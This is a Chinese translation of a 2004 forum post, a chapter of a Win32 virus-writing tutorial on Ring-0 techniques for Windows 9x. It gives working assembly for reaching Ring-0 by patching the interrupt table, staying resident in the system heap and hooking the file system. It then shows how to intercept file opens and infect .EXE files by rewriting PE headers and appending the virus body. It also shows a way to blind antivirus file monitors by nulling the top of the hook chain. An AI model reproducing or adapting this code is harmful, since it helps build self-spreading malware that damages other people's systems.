• 标 题:Billy Belceb 病毒编写教程for Win32 ----Ring-0,系统级编码
  • 作 者:onlyu
  • 时 间:2004-05-28,12:33
  • 链 接:http://bbs.pediy.com

【Ring-0,在上帝级编码】
 ~~~~~~~~~~~~~~~~~~~~~~
    自由!你热爱吗?在Ring-0,我们在限制之外,那里没有任何限制。因为Micro$oft的无能,我们有很多的方法跳到这个级别,一个理论上不能到达的地方。但是,我们可以在Win9X系统中跳转到Ring-0:)

    例如,Micro$oft的傻瓜们没有保护中断表。这在我的眼中是一个巨大的安全失败。但话又说过来,如果我们可以利用它编写病毒,它就不是一个错误了,它就是一个礼物!;)

% 来到 Ring-0 %
~~~~~~~~~~~~~~~
    好了,我将解释在我看来最简单的方法,那就是IDT修改。IDT(Interrupt Descriptor Table)不是一个固定的地址,所以我们必须使用指令来定位它,那就是SIDT。

----------------------------------------------------------------------------
 _______________________________________________________
|  SIDT - Store Interrupt Descriptor Table (286+ 专有)  |
|_______________________________________________________|

      + 用法:  SIDT    目标
      + 修改标记: 无

      存储Interrupt Descriptor Table (IDT)寄存器到指定操作数中。

                                 Clocks                 Size
        Operands         808X  286   386   486          Bytes
        mem64              -    12    9     10            5

        0F 01 /1 SIDT mem64  Store IDTR to mem64

----------------------------------------------------------------------------

    如果我们使用SIDT还不够清晰的话,它仅仅保存IDT的FWORD偏移(WORD:DWORD格式)。而且,如果我们知道了IDT在哪里,我们可以修改中断向量,并使它们指向我们的代码。展示给你的是Micro$oft的蹩脚的代码编写者。让我们继续我们的工作。在使中断向量改变后指向我们的代码(并把它们保存,以备以后恢复)之后,我们只要调用我们已经钩住(hook)的中断即可。如果看起来现在对你还不清晰,下面是通过修改IDT的方法来跳到Ring-0的代码。

;---------从这儿开始剪切----------------------------------------------------


        .586p                           ; Bah... simply for phun.
        .model  flat                    ; Hehehe i love 32 bit stuph ;)

extrn   ExitProcess:PROC
extrn   MessageBoxA:PROC

Interrupt        equ     01h            ; Nothing special

        .data

 szTitle         db      "Ring-0 example",0                 
 szMessage       db      "I'm alive and kicking ass",0

;------------------------------------------------------------------------------
;好了,这一段对你来说已经相当清晰了,是吗? :)
;------------------------------------------------------------------------------

        .code

 start:
        push    edx
        sidt    [esp-2]                 ; Interrupt table to stack
        pop     edx
        add     edx,(Interrupt*8)+4     ; Get interrupt vector

;------------------------------------------------------------------------------
; 这相当简单。SIDT,正如我以前解释过的,把IDT的地址保存到一个内存地址中,为了
; 我们的简单起见,我们直接使用了堆栈。接下来是一个POP指令,它把IDT的偏移地址
; 装载到寄存器(这里为EDX)中。下一行是仅仅为了定位我们想要的中断的偏移地址。这
; 就和在DOS下玩IVT一样...
;------------------------------------------------------------------------------

        mov     ebx,[edx]
        mov     bx,word ptr [edx-4]     ; Whoot Whoot

;------------------------------------------------------------------------------
; 相当简单。它仅仅是为了将来恢复,把EDX指向的内容保存到EBX中
;------------------------------------------------------------------------------

        lea     edi,InterruptHandler

        mov     [edx-4],di
        ror     edi,16                  ; Move MSW to LSW
        mov     [edx+2],di

;------------------------------------------------------------------------------
; 我以前是不是说过了它有多简单? :)这里,我们给EDI指向新中断处理的偏移地址,下
; 面的3行是把那个处理放到IDT中。为什么那样ROR呢?嗯,如果你使用ROR,SHR或SAR都
; 没关系,因为它仅仅把中断处理偏移的MSW(More Significant Word)移到LSW (Less 
; Significant Word)中,然后保存。
;------------------------------------------------------------------------------

        push    ds                      ; Safety safety safety...
        push    es

        int     Interrupt               ; Ring-0 comez hereeeeeee!!!!!!!

        pop     es
        pop     ds

;------------------------------------------------------------------------------
;Mmmm...很有意思。我们为了安全起见,把DS和ES压栈了,避免一些罕见的错误,但是
;它可以不用它工作,相信我。因为中断已经被补丁过了,除了设置这个中断之外,不用
;做其它任何事情了...现在我们已经在RING0里了,下面的代码是继续InterruptHandler
;------------------------------------------------------------------------------
 
        mov     [edx-4],bx              ; Restore old interrupt values
        ror     ebx,16                  ; ROR, SHR, SAR... who cares?
        mov     [edx+2],bx

 back2host:
        push    00h                     ; Sytle of MessageBox
        push    offset szTitle          ; Title of MessageBox
        push    offset szMessage        ; The message itself
        push    00h                     ; Handle of owner
        call    MessageBoxA             ; The API call itself

        push    00h
        call    ExitProcess

        ret

;------------------------------------------------------------------------------
;现在除了恢复原先的保存在EBX中的中断向量外,没做其它更多的事情。然后,我们
;返回代码到主体。(好了,只是假设是那样) ;)
;------------------------------------------------------------------------------

 InterruptHandler:                       
        pushad

        ; 下面是你的代码 :)

        popad
        iretd                           

 end start

;---------从这儿为止剪切----------------------------------------------------

     现在我们可以访问它了。我想所有人都可以做它,但是现在对于普通病毒在第一次访问Ring-0时又面临一个问题:我们为什么现在做呢?

% 在 Ring-0 下编写病毒 %
~~~~~~~~~~~~~~~~~~~~~~~~
     我喜欢开始有一点点算法的教程,所以你将来我们该怎样在Ring-0编写病毒的时候碰到一个。

----------------------------------------------------------------------
1.测试运行的操作系统(OS):如果NT,跳过病毒并返回目录给主体
2.跳到Ring-0(IDT,VMM插入或调用门技术)
3.执行一个中断,它包含了感染代码。
 3.1.获得一个放置病毒驻留的地方(开辟页或者在堆中)
 3.2.把病毒放进去
 3.3.钩住文件系统并保存旧的钩子
  3.3.1.在FS Hook中,首先要保存所有的参数并修复ESP
  3.3.2.参数压栈
  3.3.3.然后检查系统是否试图打开一个文件,如果没有,跳过
  3.3.4.如果试图打开,首先把文件名转化成ASCII码
  3.3.5.然后检查是否是一个EXE文件。如果不是,跳过感染
  3.3.6.打开,读文件头,操作,重写,添加和关闭
  3.3.7.调用旧的钩子
  3.3.8.跳过所有的返回到ESP的参数
  3.3.9.返回
 3.4.返回
4.恢复旧的中断向量
5.返回控制权给主体
----------------------------------------------------------------------
    这个算法有一点点大,无论如何我可以使它更概要,但是我更愿意直接行动。OK,来吧,Let's go!

当文件运行时测试操作系统
~~~~~~~~~~~~~~~~~~~~~~~~
    因为在NT下Ring-0有些问题(Super,解决它们!),我们必须我们所在的操作系统,如果不是Win9X平台就返回控制权给主体。好了,有很多方法去做这个:

        + 使用 SEH
        + 检查代码段的值

    好了,我假设你已经知道了怎么玩SEH,对吗?我在另外一章已经解释了它的用法,所以现在是去读一下它的时候了:)关于第二个可能的事情,下面是代码:

        mov     ecx,cs
        xor     cl,cl
        jecxz   back2host

    这个例子的解释:在Windows NT中,代码段总是小于100h,而在Win95/98中总是大一些,所以我们清除它的低位字节,而且如果它比100小,ECX将为0,反过来,如果它比100大,它将不会是0:)优化了,耶;)

%跳到Ring-0并执行中断%
~~~~~~~~~~~~~~~~~~~~~~
    好了,已经在这个文档中的访问Ring-0部分解释了最简单的方法,所以关于这个我就不多说了:)

%我们已经在Ring-0里了...该做什么呢?%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    在Ring-0里面,代之API,我们有VxD服务。VxD 服务以下面的形式访问:

        int     20h
        dd      vxd_service

    vxd_service占两个字,MSW表明VxD号,而LSW表明我们从VxD中调用的函数。例如,我将使用VMM_PageModifyPermissions值:

        dd      0001000Dh
                ↑_____↑_____ Service  000Dh _PageModifyPermissions
                       |_______ VxD      0001h VMM

    所以,为了调用它,我们必须如下做:

        int     20h
        dd      0001000Dh

    一个非常聪明的编码方式是编写一个宏来自动做这个,并使号码为EQUates。但是,那是你的选择。这个值是固定的,所以,在Win95和Win98中一样。不要担心,Ring-0的一个好处是你不需要在Kernel中或其它地方搜索偏移地址(当我们使用API的时候),因为没有必要做它,必须硬编码:)

    这里我必须声明一个我们在编写一个Ring-0病毒的时候必须清除的非常重要的事情:int 20h和地址,我演示给你的访问VxD的函数,在内存中如下:

        call    dword ptr [VxD_Service] ; 回调服务

    你可以认为有点愚蠢,但是,它非常重要,而且真的很痛苦,因为病毒用这些CALL而不是int和服务的双字偏移来复制到宿主,这使得病毒只能在你的计算机上执行,而不能在其他人的机器上运行:(在现实生活中,这个麻烦有许多解决方法。它们中的其中的一个,正如Win95.Padania所做的,在每个VxD调用后面修复它。另外的方法是:做一个所有的偏移地址的表来修复,直接做等等。下面是我的代码,而且你可以在我的Garaipena和PoshKiller中看到它:

 VxDFix:
        mov     ecx,VxDTbSz             ; 传送例程的次数
        lea     esi,[ebp+VxDTblz]       ; 指向表的指针
 @lo0pz:lodsd                           ; 把当前表的偏移地址装载到EAX中
        add     eax,ebp                 ; 加上delta 偏移
        mov     word ptr [eax],20CDh    ; 放到那个地址中
        mov     edx,dword ptr [eax+08h] ; 获得 VxD 服务值
        mov     dword ptr [eax+02h],edx ; 并恢复它 
        loop    @lo0pz                  ; 校正另外一个
        ret

 VxDTblz        label   byte            ; 所有有VXD调用的偏移地址表
        dd      (offset @@1)            
        dd      (offset @@2)
        dd      (offset @@3)
        dd      (offset @@4)
        ; [...] 所有其它的调用VxD函数的指针必须列在这里 :)

 VxDTbSz        equ     (($-offset VxDTblz)/4) ; 个数

    我希望你理解了每个我们调用的VxD函数必须有它的偏移地址。哦,我几乎忘了另外一件重要的事情:如果你正在使用我的VxD修正过程,你的VxDCall宏该怎样。下面给出:

 VxDCall macro  VxDService              
        local   @@@@@@
        int     20h                     ; CD 20                 +00h
        dd      VxDService              ; XX XX XX XX           +02h
        jmp     @@@@@@                  ; EB 04                 +06h
        dd      VxDService              ; XX XX XX XX           +08h
 @@@@@@:
        endm

    OK,现在我们需要一个驻留的地方。我个人偏向于放在net堆中,因为它很容易编写(懒人的规则!)。

---------------------------------------------------------------------------
 **     IFSMgr_GetHeap - 开辟一块net堆
 
      + 除非IFSMgr执行了SysCriticalInit,否则这个服务将不合法
 
      + 这个函数使用 C6 386 _cdecl 调用顺序
 
  + 入口 -> TOS - 需要大小

  + 出口  -> EAX - 堆块的地址,如果失败为0

  + 使用  C 寄存器  (eax, ecx, edx, flags)
---------------------------------------------------------------------------

    以上是一些Win95 DDK的信息。让我们看看关于这个的例子:


 InterruptHandler:
        pushad                          ; Push 所有寄存器

        push    virus_size+1024         ; 我们需要的内存 (virus_size+buffer)
                                        ; 当你使用缓冲区的时候,更好
                                        ; 把它加上更多的字节
 @@1:   VxDCall IFSMgr_GetHeap
        pop     ecx

    够清楚了吧?正如DDK所说的,如果它失败了,它将在EAX中返回给我们0,所以检查可能的失败。接下来的POP非常重要,因为VxD的大多数服务不修正堆栈,所以我们在调用VxD函数之前压栈的值还在堆栈中。

        or      eax,eax                 ; cmp eax,0
        jz      back2ring3

    如果函数成功了,我们在EAX中得到了我们必须移动的病毒主体的地址,那么Let's go!

        mov     byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1

        mov     edi,eax                 ; Where move virus
        lea     esi,ebp+start           ; What to move
        push    eax                     ; Save memory address for later
        sub     ecx,1024                ; We move only virus_size
        rep     movsb                   ; Move virus to its TSR location ;)
        pop     edi                     ; Restore memory address

    我们在一个内存地址中的是病毒,准备TSR的,对吗?而且在EDI中是病毒在内存中开始的地址,所以我们可以把它作为下个函数的delta offset:)好了,我们现在需要hook文件系统了对吗?OK,有一个函数可以做这个工作。很惊讶,是把? Micro$oft微软工程师为我们做了累活。

---------------------------------------------------------------------------
 **     IFSMgr_InstallFileSystemApiHook - 安装一个文件系统 api hook

    这个服务为调用者安装一个文件系统api hook。这个hook在IFS manager 和一个FSD之间,钩子可以看任何IFS manager对FSD的任何调用。

    这个函数使用C6 386 _cdecl 调用顺序
        ppIFSFileHookFunc
                IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )
 
  入口 TOS - 将要安装作为钩子的函数的地址
 
  出口  EAX - 指向在这个链中的包含以前钩子的地址变量
              
  使用  C 寄存器  

---------------------------------------------------------------------------

    清楚了吧?如果不,我希望你在看了一些代码之后,理解了它。好了,让我们钩住文件系统(hook FileSystem)...


        lea     ecx,[edi+New_Handler]   ; (vir address in mem + handler offs)
        push    ecx                     ; Push it 

 @@2:   VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call

        pop     ecx                     ; Don't forget this, guy
        mov     dword ptr [edi+Old_Handler],eax ; EAX=Previous hook

 back2ring3:
        popad
        iretd                           ; return to Ring-3. Yargh

    好了,我们已经看完了Ring-0病毒的安装部分。现在,我们必须编写文件系统(FileSystem)的处理部分了:)简单,但是否如你所想?:)

FileSystem Handler:真正有趣!!!

    耶,下面是驻留感染它自己,但是我们在开始之前不得不做些事情。首先,我们必须对堆栈做一个安全拷贝,也就是说保存ESP内容到EBP寄存器中。然后,我们应该把ESP减去20h,为了修正堆栈指针。让我们看看一些代码:

 New_Handler equ  $-(offset virus_start)
 FSA_Hook:
        push    ebp                     ; Save EBP content 4 further restorin
        mov     ebp,esp                 ; Make a copy of ESP content in EBP
        sub     esp,20h                 ; And fix the stack

    现在,因为我们的函数要被系统用一些参数调用,我们应该push它们,就像原先的处理程序所做的。要push的参数从EBP+08h到EBP+1Ch,包含它们,并和IOREQ结构相关。

        push    dword ptr [ebp+1Ch]     ; pointer to IOREQ structure.
        push    dword ptr [ebp+18h]     ; codepage that  the  user string was
                                        ; passed in on.
        push    dword ptr [ebp+14h]     ; kind of  resource the operation  is
                                        ; being performed on.
        push    dword ptr [ebp+10h]     ; the 1-based  drive the operation is
                                        ; being performed on (-1 if UNC).
        push    dword ptr [ebp+0Ch]     ; function  that  is being performed.
        push    dword ptr [ebp+08h]     ; address  of the  FSD function  that
                                        ; is to be called for this API.
    现在,我们已经把应该push的参数push到正确的地方了,所以对它们不要再担心了。现在,我们必须检查你将要操作的IFSFN函数。下面你得到的是最重要的小列表:

-------------------------------------------------------------------------------
 ** 传送给 IFSMgr_CallProvider 的IFS函数ID

 IFSFN_READ         equ         00h     ; read a file
 IFSFN_WRITE        equ         01h     ; write a file
 IFSFN_FINDNEXT     equ         02h     ; LFN handle based Find Next
 IFSFN_FCNNEXT      equ         03h     ; Find Next Change Notify
 IFSFN_SEEK         equ         0Ah     ; Seek file handle
 IFSFN_CLOSE        equ         0Bh     ; close handle
 IFSFN_COMMIT       equ         0Ch     ; commit buffered data for handle
 IFSFN_FILELOCKS    equ         0Dh     ; lock/unlock byte range
 IFSFN_FILETIMES    equ         0Eh     ; get/set file modification time
 IFSFN_PIPEREQUEST  equ         0Fh     ; named pipe operations
 IFSFN_HANDLEINFO   equ         10h     ; get/set file information
 IFSFN_ENUMHANDLE   equ         11h     ; enum file handle information
 IFSFN_FINDCLOSE    equ         12h     ; LFN find close
 IFSFN_FCNCLOSE     equ         13h     ; Find Change Notify Close
 IFSFN_CONNECT      equ         1Eh     ; connect or mount a resource
 IFSFN_DELETE       equ         1Fh     ; file delete
 IFSFN_DIR          equ         20h     ; directory manipulation
 IFSFN_FILEATTRIB   equ         21h     ; DOS file attribute manipulation
 IFSFN_FLUSH        equ         22h     ; flush volume
 IFSFN_GETDISKINFO  equ         23h     ; query volume free space
 IFSFN_OPEN         equ         24h     ; open file
 IFSFN_RENAME       equ         25h     ; rename path
 IFSFN_SEARCH       equ         26h     ; search for names
 IFSFN_QUERY        equ         27h     ; query  resource info (network only)
 IFSFN_DISCONNECT   equ         28h     ; disconnect from resource (net only)
 IFSFN_UNCPIPEREQ   equ         29h     ; UNC path based named pipe operation
 IFSFN_IOCTL16DRIVE equ         2Ah     ; drive based 16 bit IOCTL requests
 IFSFN_GETDISKPARMS equ         2Bh     ; get DPB
 IFSFN_FINDOPEN     equ         2Ch     ; open an LFN file search
 IFSFN_DASDIO       equ         2Dh     ; direct volume access

-------------------------------------------------------------------------------

    对我们来说的第一件事,我们感兴趣的唯一的函数是24h,那就是说打开。系统几乎每时每刻都在调用那个函数,所以对它没有任何问题。为这个编码就和你能想象的一样简单:)

        cmp     dword ptr [ebp+0Ch],24h ; Check if system opening file
        jnz     back2oldhandler         ; If not, skip and return to old h.

     现在开始有意思的。我们知道这里系统请求文件打开,所以现在该我们了。首先,我们应该检查我们是否在进行我们自己的调用...简单,仅仅加一个小变量,它将出现一些问题。Btw,我几乎忘了,获得delta offset :)

        pushad
        call    ring0_delta             ; Get delta offset of this
 ring0_delta:
        pop     ebx
        sub     ebx,offset ring0_delta

        cmp     byte ptr [ebx+semaphore],00h ; Are we the ones requesting 
        jne     pushnback               ; the call?

        inc     byte ptr [ebx+semaphore] ; For avoid process our own calls
        pushad
        call    prepare_infection       ; We'll see this stuff later
        call    infection_stuff
        popad
        dec     byte ptr [ebx+semaphore] ; Stop avoiding :)

 pushnback:
        popad

    现在我将继续介绍处理程序本身,然后,我将解释我是怎么做这些例程的,prepare_infection 和 infection_stuff。如果系统正在请求一个调用,我们就退出我们将要处理的例程,OK?现在,我们必须编写调用旧的FileSystem hook的例程。当你还记得(我假设你没有alzheimer),我们push了所有参数,所以我们该做的唯一的事情是装到寄存器中,旧地址没关系,然后调用那个内存位置。然后,我们把ESP加18h(为了能够获得返回地址),完了。你将最好看看一些代码,所以,你将看到:

 back2oldhandler:
        db      0B8h                    ; MOV EAX,imm32 opcode
 Old_Handler    equ  $-(offset virus_start)
        dd      00000000h               ; here goes the old handler.
        call    [eax]
        add     esp,18h                 ; Fix stack (6*4)
        leave                           ; 6 = num. paramz. 4 = dword size.
        ret                             ; Return

感染准备
^^^^^^^^
    这是Ring-0代码的主要部分的一方面。让我们现在看看Ring-0编写代码的细节。当我们在钩子处理中的时候,有两个调用,对吗?这不是必须的,但是我为了使代码更简单,那么做了,因为我喜欢使事情结构化。

    在第一次调用的时候,我调用的prepare_infection仅仅因为一个原因做了一件事情。系统作为一个参数给我们的文件名,但是我们有一个问题。系统以UNICODE形式给我们的,而且对我们来说它没有什么用。所以,我们需要把它转换成ASCII码,对吗?我们有一个VxD服务可以为我们做这件事。它的名字:UniToBCSParh。下面是你喜欢的源代码。

 prepare_infection:
        pushad                          ; Push all
        lea     edi,[ebx+fname]         ; Where to put ASCII file name
        mov     eax,[ebp+10h]   
        cmp     al,0FFh                 ; Is it in UNICODE?
        jz      wegotdrive              ; Oh, yeah!
        add     al,"@"                  ; Generate drive name
        stosb
        mov     al,":"                  ; Add a :
        stosb
 wegotdrive:
        xor     eax,eax
        push    eax                     ; EAX = 0 -> Convert to ASCII
        mov     eax,100h
        push    eax                     ; EAX = Size of string to convert
        mov     eax,[ebp+1Ch]
        mov     eax,[eax+0Ch]           ; EAX = Pointer to string
        add     eax,4
        push    eax
        push    edi                     ; Push offset to file name

 @@3:   VxDCall UniToBCSPath

        add     esp,10h                 ; Skip parameters returnet
        add     edi,eax 
        xor     eax,eax                 ; Make string null-terminated
        stosb
        popad                           ; Pop all
        ret                             ; Return

感染本身
^^^^^^^^
    下面我将告诉你怎样到达直到你你必须的应用感染后的文件应该有的新的PE头和节头的值。但是,我不会解释怎么操作它们了,不是因为我懒,仅仅是因为这是Ring-0代码编写一章,而不是PE感染一章。这个部分和FileSystem 钩子代码的infection_stuff 部分相符。首先,我们必须检查我们将要操作的文件是否是一个.EXE文件还是其它不感兴趣的文件。所以,首先,我们必须在文件名字里寻找0值,它告诉我们它的末尾。这编写起来很简单:

 infection_stuff:
        lea     edi,[ebx+fname]         ; Variable with the file name
 getend:
        cmp     byte ptr [edi],00h      ; End of filename?
        jz      reached_end             ; Yep
        inc     edi                     ; If not, search for another char
        jmp     getend
 reached_end:

    我们在EDI里是ASCII字符串里的0值,正如你知道的,它标志着字符串的结尾,也就是在这种情况下,文件名。下面是我们的主要检查,看看它是否是一个.EXE文件,如果它不是,跳过感染。我们还可以检查.SCR(Windows屏保),正如你知道的,它们也是可执行文件...这就是你的选择。下面给你一些代码:

        cmp     dword ptr [edi-4],"EXE." ; Look if extension is an EXE
        jnz     notsofunny

    正如你能看到的,我比较了EDI-5次。

    现在我们知道了那个文件是一个EXE文件:)所以该是移除它的属性,打开文件,修改相关域,关闭文件并恢复属性的时候了。所有这些函数由另外一个IFS服务完成,那就是IFSMgr_Ring0_FileIO。我没有找到关于全部这个的文档,总之也没有必要,它有很多的函数,正如我以前所说的,所有我们需要函数仅仅是为了进行文件感染。让我们VxD服务IFSMgr_Ring0_FileIO传送到EAX中的数值:

-----------------------------------------------------------------------
;函数定义在ring-0的API函数列表中:
;说明:大多数函数是上下文相关的,除非被明确的规定了,也就是说,它们不使用当前线程的上下文。;R0_LOCKFILE是唯一的例外-它总是使用当前线程的上下文。

 R0_OPENCREATFILE        equ     0D500h  ; Open/Create a file
 R0_OPENCREAT_IN_CONTEXT equ     0D501h  ; Open/Create file in current contxt
 R0_READFILE             equ     0D600h  ; Read a file, no context
 R0_WRITEFILE            equ     0D601h  ; Write to a file, no context
 R0_READFILE_IN_CONTEXT  equ     0D602h  ; Read a file, in thread context
 R0_WRITEFILE_IN_CONTEXT equ     0D603h  ; Write to a file, in thread context
 R0_CLOSEFILE            equ     0D700h  ; Close a file
 R0_GETFILESIZE          equ     0D800h  ; Get size of a file
 R0_FINDFIRSTFILE        equ     04E00h  ; Do a LFN FindFirst operation
 R0_FINDNEXTFILE         equ     04F00h  ; Do a LFN FindNext operation
 R0_FINDCLOSEFILE        equ     0DC00h  ; Do a LFN FindClose operation
 R0_FILEATTRIBUTES       equ     04300h  ; Get/Set Attributes of a file
 R0_RENAMEFILE           equ     05600h  ; Rename a file
 R0_DELETEFILE           equ     04100h  ; Delete a file
 R0_LOCKFILE             equ     05C00h  ; Lock/Unlock a region in a file
 R0_GETDISKFREESPACE     equ     03600h  ; Get disk free space
 R0_READABSOLUTEDISK     equ     0DD00h  ; Absolute disk read
 R0_WRITEABSOLUTEDISK    equ     0DE00h  ; Absolute disk write
 -----------------------------------------------------------------------

    迷人的函数,是吧?:)如果我们看看,它提醒了我们DOS int 21h函数。但是这个更好:)

    好了,让我们保存旧的文件属性。正如你能看到的,这个函数是在我以前给你的列表中的,我们把这个参数(4300h)放到EAX中为了获得文件的属性到ECX中。所以,在那之后,我push它和文件名,它在ESI中。

        lea     esi,[ebx+fname]         ; Pointer to file name
        mov     eax,R0_FILEATTRIBUTES   ; EAX = 4300h
        push    eax                     ; Save it goddamit
        VxDCall IFSMgr_Ring0_FileIO     ; Get attributes
        pop     eax                     ; Restore 4300h from stack
        jc      notsofunny              ; Something went wrong (?)

        push    esi                     ; Push pointer to file name
        push    ecx                     ; Push attributes

    现在我们必须把它们去掉。没问题。设置文件属性的函数是,以前在IFSMgr_Ring0_FileIO中,但是现在是4301h。就像你在DOS下看到的这个值:) 

        inc     eax                     ; 4300h+1=4301h :)
        xor     ecx,ecx                 ; No attributes sucker!
        VxDCall IFSMgr_Ring0_FileIO     ; Set new attributes (wipe'em)
        jc      stillnotsofunny         ; Error (?!)

    现在我们有一个没有属性的等着我们的文件了...我们该做什么呢?呵呵,我认为你是聪明的。让我们打开它!:)就像所有病毒中的这个部分一样,我们不得不调用IFSMgr_Ring0_FileIO,但是现在为打开文件传送到EAX中的是D500h。

        lea     esi,[ebx+fname]         ; Put in ESI the file name
        mov     eax,R0_OPENCREATFILE    ; EAX = D500h
        xor     ecx,ecx                 ; ECX = 0
        mov     edx,ecx
        inc     edx                     ; EDX = 1
        mov     ebx,edx
        inc     ebx                     ; EBX = 2
        VxDCall IFSMgr_Ring0_FileIO
        jc      stillnotsofunny         ; Shit.

        xchg    eax,ebx                 ; Optimize a bit, sucka! :)

    现在我们在EBX中的是打开文件的句柄,所以如果你在文件关闭之前不使用这个文件将会完美,好吗?:)现在该是你读PE文件头并保存它(和操作它)的时候了,然后更新文件头,附加上病毒...这里我将仅仅解释怎样处理PE头的属性,因为它是这个教程的另外一部分了,而且我不想太多重复。我打算解释如何把PE头保存到我们的缓冲区中。它相当简单:如果你还记得,PE头从偏移地址3Ch(当然是从BOF开始)开始。然后我们必须读4字节(这个3Ch处的DWORD),并在这个偏移地址处再次读,这次,是400h字节,足够处理整个PE头了。正如你能想象的,读文件中的函数是在很棒的IFSMgr_Ring0_FileIO中,而且你可以看到我以前给你的表中的正确号码,在R0_READFILE中。传递给这个函数的参数如下:

 EAX = R0_READFILE = D600h
 EBX = File Handle
 ECX = Number of bytes to read
 EDX = Offset where we should read
 ESI = Where will go the read bytes

        call    inf_delta               ; 如果你还记得,我们在EBX中是delta offset
inf_delta:                              ; 但是打开文件之后,我们在EBX中是文件的句柄
        pop     ebp                     ; 所以我们必须重新计算它。
        sub     ebp,offset inf_delta    ; 

        mov     eax,R0_READFILE         ; D600h
        push    eax                     ; Save it for later
        mov     ecx,4                   ; Bytes to read, a DWORD
        mov     edx,03Ch                ; Where read (BOF+3Ch)
        lea     esi,[ebp+pehead]        ; There goez the PE header offzet
        VxDCall IFSMgr_Ring0_FileIO     ; The VxDCall itself

        pop     eax                     ; restore R0_READFILE from stack

        mov     edx,dword ptr [ebp+pehead] ; Where the PE header begins
        lea     esi,[ebp+header]        ; Where write the read PE header
        mov     ecx,400h                ; 1024 bytes, enough for all PE head.
        VxDCall IFSMgr_Ring0_FileIO
 
    现在我们通过看它的标志要看看我们刚才打开的文件是否是一个PE文件。我们在ESI中的是指向我们放置PE头的缓冲区,所以只要把ESI中的第一个DWORD和PE,0,0作比较即可(或者简单的用WORD和PE进行比较) ;)

        cmp     dword ptr [esi],"EP"    ; 它是PE吗?
        jnz     muthafucka

    现在你该检查以前的感染了,如果以前已经感染过了,只要到诸如关闭文件的地方即可。正如我以前所说的,我将跳过修改PE头的代码,因为假设你已经知道怎么做了。好了,想象一些你已经合适地修改了缓冲区里的PE头(在我的代码里,变量叫做header)。现在该是把新的头写到PE文件里的时候了。寄存器里的值应该是和
R0_READFILE函数差不多的,我将这样写它们:

 EAX = R0_WRITEFILE = D601h
 EBX = File Handle
 ECX = Number of bytes to write
 EDX = Offset where we should write
 ESI = Offset of the bytes we want to write

        mov     eax,R0_WRITEFILE                ; D601h
        mov     ecx,400h                        ; write 1024 bytez (buffer)
        mov     edx,dword ptr [ebp+pehead]      ; where to write (PE offset)
        lea     esi,[ebp+header]                ; Data to write
        VxDCall IFSMgr_Ring0_FileIO

    我们已经写完了头。现在,我们只要添加病毒即可。我决定把它添在EOF目录中,因为我的修改PE的方式...好了,我是用这种方法做的。但是不要担心,应用的的感染方法是很简单的,因为我假设你已经理解它是怎么工作的了。就在附加病毒主体之前,记住我们应该修正所有的VxDCall,因为它们在调用的时候在内存中已经改变了。记住,我在这篇教程里面教给你的VxD修正过程。另外,当我们在EOF处添加的时候,我们应该知道它占多少字节。相当简单,我们在IFSMgr_Ring0_FileIO中有一个函数(为什么不呢!)来做这个工作:R0_GETFILESIZE让我们看看它的输入参数:

 EAX = R0_GETFILESIZE = D800h
 EBX = File Handle

    在EAX中返回给我们的是句柄对应的文件的大小,也就是我们试图感染的文件。

        call    VxDFix                          ; Re-make all INT 20h's

        mov     eax,R0_GETFILESIZE              ; D800h
        VxDCall IFSMgr_Ring0_FileIO     
                                                ; EAX = File size
        mov     edx,R0_WRITEFILE                ; EDX = D601h
        xchg    eax,edx                         ; EAX = D601; EDX = File size
        lea     esi,[ebp+virus_start]           ; What to write
        mov     ecx,virus_size                  ; How much bytez to write
        VxDCall IFSMgr_Ring0_FileIO

    只剩下一些事情去做了。只要关闭文件并恢复它的旧的属性即可。当然关闭文件的函数是我们热爱的IFSMgr_Ring0_FileIO了,现在是函数D700h。让我们看看它的输入参数:

 EAX = R0_CLOSEFILE = 0D700h
 EBX = File Handle

    现在是它的代码:

 muthafucka:
        mov     eax,R0_CLOSEFILE
        VxDCall IFSMgr_Ring0_FileIO

    好了,只剩下一件事情去做了。恢复旧的属性。

 stillnotsofunny:
        pop     ecx                             ; Restore old attributos
        pop     esi                             ; Restore ptr to FileName
        mov     eax,4301h                       ; Set attributes function
        VxDCall IFSMgr_Ring0_FileIO

 notsofunny:
        ret

    终于完了! :) 另外,所有的这些"VxDCall IFSMgr_Ring0_FileIO"最好在一个子例程中,用一个简单的call来调用它:它更优化了(如果你你使用我给你的VxDCall宏),它更好是因为只要把一个偏移放在VxDFix的表中就可以了。

%反VxD监视代码%
~~~~~~~~~~~~~~~
    我必须不能忘记发现这个的人:Super/29A。此外,我应该解释这个东西是怎么回事。它和已经见过的InstallFileSystemApiHook服务有关,但是它没有被Micro$oft写成文档。InstallFileSystemApiHook服务返回给我们一个有意思的结构:

 EAX + 00h -> Address of previous handler
 EAX + 04h -> Hook_Info structure

    而且正如你所想的,最重要的是Hook_Info 结构:

 00h -> 钩子处理的地址, 这个结构的第一个
 04h -> 先前钩子处理的地址
 08h -> 先前钩子的Hook_Info的地址

    所以,我们对这个结构进行递归搜索直到找到了第一个,被监视程序使用的链的顶部...然后我们必须修改它。代码?下面给出一部分 :)

 ; EDI = Points to virus copy in system heap

        lea     ecx,[edi+New_Handler]           ; Install FileSystem Hook
        push    ecx
@@2:    VxDCall IFSMgr_InstallFileSystemApiHook
        pop     ecx

        xchg    esi,eax                         ; ESI = Ptr actual hook
                                                ;       handler
        push    esi
        lodsd ; add esi,4                       ; ESI = Ptr to Hook Handler
tunnel: lodsd                                   ; EAX = Previous Hook Handler
                                                ; ESI = Ptr to Hook_Info
        xchg    eax,esi                         ; Very clear :)

        add     esi,08h                         ; ESI = 3rd dword in struc:
                                                ;       previous Hook_Info

        js      tunnel                          ; If ESI < 7FFFFFFF, it was
                                                ; the last one :)
                                                ; EAX = Hook_Info of the top
                                                ; chain

        mov     dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
        pop     eax                             ; EAX = Last hook handler
        [...]

    如果你不懂,不要担心,这是第一次:想象一下我读懂Sexy的代码所花的时间!好了,我们已经把链顶存在一个变量里了。接下来的的代码片断是我们检查一个系统打开文件的请求,而且我们知道这个调用不是由我们的病毒所做的,只是在调用感染程序之前。

        lea     esi,dword ptr [ebx+top_chain]   ; ESI = Ptr to stored variable
        lodsd                                   ; EAX = Top Chain
        xor     edx,edx                         ; EDX = 0
        xchg    [eax],edx                       ; Top Chain = NULL
                                                ; EDX = Address of Top Chain
        pushad
        call    Infection
        popad

        mov     [eax],edx                       ; Restore Top Chain

